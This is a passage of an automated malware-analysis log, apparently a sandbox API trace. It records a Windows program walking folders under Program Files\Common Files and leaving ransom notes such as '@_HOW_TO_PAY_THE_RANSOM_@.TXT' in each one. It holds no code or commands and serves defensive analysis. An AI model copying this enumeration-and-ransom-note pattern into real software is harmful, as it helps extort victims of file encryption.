lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7683540, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.556] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76a96a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.556] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7683540, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7683540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7683540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.556] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0070.556] AreFileApisANSI () returned 1 [0070.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60 [0070.557] GetFileType (hFile=0x1f4) returned 0x1 [0070.558] AreFileApisANSI () returned 1 [0070.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61 [0070.558] GetFileType (hFile=0x1f4) returned 0x1 [0070.559] AreFileApisANSI () returned 1 [0070.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60 [0070.559] GetFileType (hFile=0x1f4) returned 0x1 [0070.560] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName=".", cAlternateFileName="")) returned 0x549790 [0070.560] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="..", cAlternateFileName="")) returned 1 [0070.560] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76a96a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.560] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76a96a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.560] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76a96a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.560] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0070.560] AreFileApisANSI () returned 1 [0070.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0070.562] GetFileType (hFile=0x1f0) returned 0x1 [0070.563] AreFileApisANSI () returned 1 [0070.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0070.565] AreFileApisANSI () returned 1 [0070.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0070.568] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName=".", cAlternateFileName="")) returned 0x549750 [0070.568] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="..", cAlternateFileName="")) returned 1 [0070.568] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76a96a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.568] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76a96a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.568] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76a96a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76a96a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.568] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0070.568] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0070.568] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0070.568] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0070.568] AreFileApisANSI () returned 1 [0070.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0070.570] GetFileType (hFile=0x1f0) returned 0x1 [0070.571] AreFileApisANSI () returned 1 [0070.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0070.572] GetFileType (hFile=0x1f0) returned 0x1 [0070.573] AreFileApisANSI () returned 1 [0070.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0070.574] GetFileType (hFile=0x1f0) returned 0x1 [0070.575] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName=".", cAlternateFileName="")) returned 0x549750 [0070.575] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="..", cAlternateFileName="")) returned 1 [0070.575] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76a96a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76a96a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.575] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76cf800, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.576] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76cf800, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.576] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="DW", cAlternateFileName="")) returned 1 [0070.576] AreFileApisANSI () returned 1 [0070.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0070.577] GetFileType (hFile=0x190) returned 0x1 [0070.578] AreFileApisANSI () returned 1 [0070.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.581] AreFileApisANSI () returned 1 [0070.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0070.583] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0070.583] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="..", cAlternateFileName="")) returned 1 [0070.583] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76cf800, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.583] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76cf800, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.583] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76cf800, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa76cf800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa76cf800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.583] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0070.583] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0070.583] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0070.583] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0070.583] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0070.583] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0070.583] AreFileApisANSI () returned 1 [0070.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0070.616] AreFileApisANSI () returned 1 [0070.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0070.618] AreFileApisANSI () returned 1 [0070.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0070.627] GetFileType (hFile=0x190) returned 0x1 [0070.629] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7741c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7741c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0070.630] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7741c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7741c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="..", cAlternateFileName="")) returned 1 [0070.630] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="1033", cAlternateFileName="")) returned 1 [0070.630] AreFileApisANSI () returned 1 [0070.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0070.725] GetFileType (hFile=0x198) returned 0x1 [0070.726] AreFileApisANSI () returned 1 [0070.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0070.726] GetFileType (hFile=0x198) returned 0x1 [0070.728] AreFileApisANSI () returned 1 [0070.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0070.773] GetFileType (hFile=0x198) returned 0x1 